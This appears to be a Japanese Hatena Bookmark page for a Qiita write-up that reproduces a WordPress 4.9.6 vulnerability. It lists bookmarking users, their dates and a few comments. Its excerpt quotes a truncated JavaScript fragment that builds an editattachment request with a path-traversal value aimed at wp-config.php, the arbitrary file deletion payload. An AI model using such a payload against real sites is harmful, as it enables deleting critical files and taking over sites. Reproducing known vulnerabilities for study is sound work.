はてなブックマーク - WordPress 4.9.6の脆弱性を再現確認してみた - Qiita
https://b.hatena.ne.jp/entry/s/qiita.com/ionis_h/items/fb016f9201e2d2858fdb
var nonce = document.getElementById("_wpnonce").value var id = document.location.search.match(/post=(\d+)/)[1] var data = "action=editattachment&_wpnonce=" + nonce + "&thumb=../../../../wp-config.p...
-
cvshin
https://b.hatena.ne.jp/cvshin/20180726#bookmark-367468930
2018-07-25T15:13:26Z
Qiita
-
atyks
https://b.hatena.ne.jp/atyks/20180721#bookmark-367468930
2018-07-21T01:27:06Z
-
akishin999
https://b.hatena.ne.jp/akishin999/20180715#bookmark-367468930
2018-07-15T02:08:07Z
wordpress
security
-
tmatsuu
https://b.hatena.ne.jp/tmatsuu/20180715#bookmark-367468930
アップデート！
2018-07-15T02:03:43Z
-
kunta201020
https://b.hatena.ne.jp/kunta201020/20180714#bookmark-367468930
2018-07-14T13:32:38Z
-
asyst
https://b.hatena.ne.jp/asyst/20180714#bookmark-367468930
2018-07-14T12:33:26Z
-
thiuhdcuibi1532
https://b.hatena.ne.jp/thiuhdcuibi1532/20180714#bookmark-367468930
2018-07-14T10:49:27Z
-
kimikato
https://b.hatena.ne.jp/kimikato/20180714#bookmark-367468930
2018-07-14T10:35:55Z
-
ockeghem
https://b.hatena.ne.jp/ockeghem/20180714#bookmark-367468930
『投稿者権限以上でログインしないといけないので、運用体制次第ですが、そこまで脅威ではなさそうな気がします』
2018-07-14T01:13:37Z